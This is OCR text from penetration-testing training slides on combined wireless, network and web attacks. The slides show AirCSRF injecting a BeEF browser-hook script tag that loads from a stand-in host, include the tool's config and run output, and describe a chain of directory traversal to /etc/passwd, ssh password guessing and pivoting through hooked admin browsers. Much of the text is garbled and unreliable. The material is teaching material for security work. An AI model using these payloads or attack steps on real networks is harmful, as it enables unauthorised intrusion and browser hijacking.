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Categories of
Penetration Testing

A Penetration tests are often separated into
different types

1) Network penetration tests
AName is a bit ambiguous, but wid

2) Web application penetration tests
3) Wireless penetration tests

4) Social engineering tests

5) Physical penetration tests

AOt hers, but those are t
ALetds focus on 1, 2, an

Combined Pen Test®©2008, All Rights Reserved



Penetration Test Specialization

| |
A Given that test scopes are often broken down into
thhose categori ese

Aéand the skill sets for ea
di fferent é

AéMost penetration testers

to focus on
I They may Aminoro in another ar
significantly on a major area
I AHI, | Om a web app pen test gu
I AHI, | Om a network pen test gu
I AHI, | Om a wireless pen test ¢
AThis specialization is goo

robust, and growing industry

(

(

(
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Dealing With Specialization

A If you want to be a good pen tester,
pick one of these categories and focus
on it
I Build your skills, zooming in on the fine-

grained aspects of that kind of test

I Weol I provide tips for
In the three big categories later
A If you want to procure good pen tests,
make sure you get each of these types

of tests performed
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Not So Fast

A Over specialization has some significant problems:
I From a tester 0s perwledecarder v e

wise
I From an enterprise perspective, missing huge sets of
vul nerabilities from nthe ¢

I But, perhaps most important, missing out on the risk
posed by combined attacks
AAs pen testersé our job
risks by modeling, to the extent possible, the
activities of real-world attackers
A Without taking a combined approach into account
auring testing, it can be difficult or impossible to

determine and explain the true business risk
associated with vulnerabilities
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But , DoesnoOot Everyc

A Some of you are thinking that a combined approach is
common

A Perhaps you are thinking about an example like this:
I A pen tester finds a rogue access point and gets access to the intranet
I The tester ping sweeps and port scans, finding an intranet web app

I On the internal web app, the tester finds a directory traversal flaw to
read /etc/passwd, getting a list of users (not passwords)

I The tester then launches a password guessing attack via ssh,
determines the password for an account, and then logs in with
command shell access

ADoesn6t everyone do this as

AAnd, this example only scratc
about going very much deeper to discern the true risk

I Consi der e u sfoundgshtdress tomlaumch a local priv
escalation attack to get UID 0 on the box

I Then, on the intranet web server, add content that includes browser
scripts to run on admin browsers

T Then, use those browsers toé well
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Guest Wireless Networks

A Many enterprises deploy wireless networks specifically
for use by guests

I Conference rooms NN\
i Front entrance waiting rooms
A Most guest networks have no encryption

I Even if the traffic is encrypted, attacker could try to b
the crypto key 17 Aircrack-ng, Cowpatty, etc.
A Sometimes, legitimate internal
users rely on guest networks
for a short period of time

I Mostly for convenience
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Wireless Traffic Manipulation

A Pentester can manipulate clients on an open AP
A Impersonating responses, or requests

Victim Pen Tester

172.16.0.1:1025 A www.google.com:80 SYN .
. < 172.16.0.1:1025 a www.google.com:80 SYN/ACK
CBD 172.16.0.1:1025 A www.google.com:80 ACK .
172.16.0.1:1025 A www. googl e. com: 8O0M\n@GET HTTP
172.16.0.1:1025a www. googl e. com: 80 #A302 REDI>RECT
) 172.16.0.1:1025a www. googl e. com: 80 n200 C
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Traffic Manipulation

Oeeortunities

A DNS spoofingi inform victim that
Ieg%ltlmate domain name maps to
attacker o0s | addr e

AUnencr)f/pted session manipulation
(telnet, Ttp, other legacy)

AHTTP response manipulation

I Responding before legitimate site with
AHTTP 302 REDI RECTO

I Responding after legitimate site, adding
to HT TP response
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Manipulating HTTP Responses

1. Victim makes HTTP GET
request to any web site

2. Pen Tester spoofs server
appending additional content
to HTTP responseé

<script
language='Javascript'

src="http://foo/beef/hook/be
efmagic.js.php'></script>
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Al

A Not-yet-released
Glessner

I Automating wire

# cat aircsrf.conf

Host: www.myvictim.com
Name: Example AirCSRF
Desc: Injects HTML below

Stat: 1
Html: <script language=
' Javascript src ='http://1.2.3.4/

beef/hook/ beefmagic.js.php ">
</script>

r CSRF

tool from Garland

ess injection for XSS
# .laircsrf - 1 wifi0

aircsrf v1.21

Detected: IEEE802.11 Headers

Loading ./aircsrf.conf

0013ce5598ef INJECT for

www.myvictim.com with CSRF payload

of: <script language="'Javascript'

src="http://1.2.3.4/beef/hook/beefm

agic.js.php'></script>

0013ce5598ef took the bait for

10.10.10.10 (www.myvictim.com)

- r madwifing
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Cross Site Scripting

ANote that wedbve injected
t hhe browser to fetch Jav:
BeEF

I A specialized browser script attack tool

A Most wireless and network pen testers usually ignore
XSS

I AThatos Just a web app thin
wi reless pen tester care ab

A But, XSS provides enormous access within a network
I Hooking browsers to pivot into the network
I Using browsers to exploit other services
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Using XSS to Pivot into a Network

A Client machines provide new and exciting viewpoints
to wireless and network penetration testers

I From the vantage point of a script inside a victim browser

ABrowsers running an att a:
I Port scan a network

I ldentify administrator machines
A Query browser history for links to known admin pages

A For example, consider VPN administrator URLS in browser history, which
we can query for

A We can even look in browser history for pages accessed post
authentication

I Perform web vulnerability scans
I Reconfigure appliances and devices
I Del i ver exploits to other s
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Let 6s Look at

ASuppose that a pen tester Is evaluating the
security of wireless networks in a pen test
with a scope that includes combined attacks

A Pen tester discovers a wireless network set
up for guest access from a conference room

A A legit administrator is using the guest
wireless network temporarily

APen tester could hook
br owser é

iéecontrolling 1t for all
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Internal Client Browser Used
to Admin Important Systems

Web
Server

Internal Server

==

s===ca/ Jarget \\\
T Internet @ Network
Ca=—=mmr
sSaeE T . ;
< 0. Wireline client
Firewall admins internal
Infrastructure server s é [E er it
will go wireless !

E”ﬁ-l'l
e

BeEF Controller
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Use Wireless to Hook Browser

Web Internal Server

Server

i i i i T

Target
Network <
1. Client uses guest wireless
Firewall net work to accég

Infrastructure

2. Attacker uses
AirCSRF to

inject BeEF XSS | [s==5=
sSsis=SE g stub in response

lgNtsS keserved

BeEF Controller







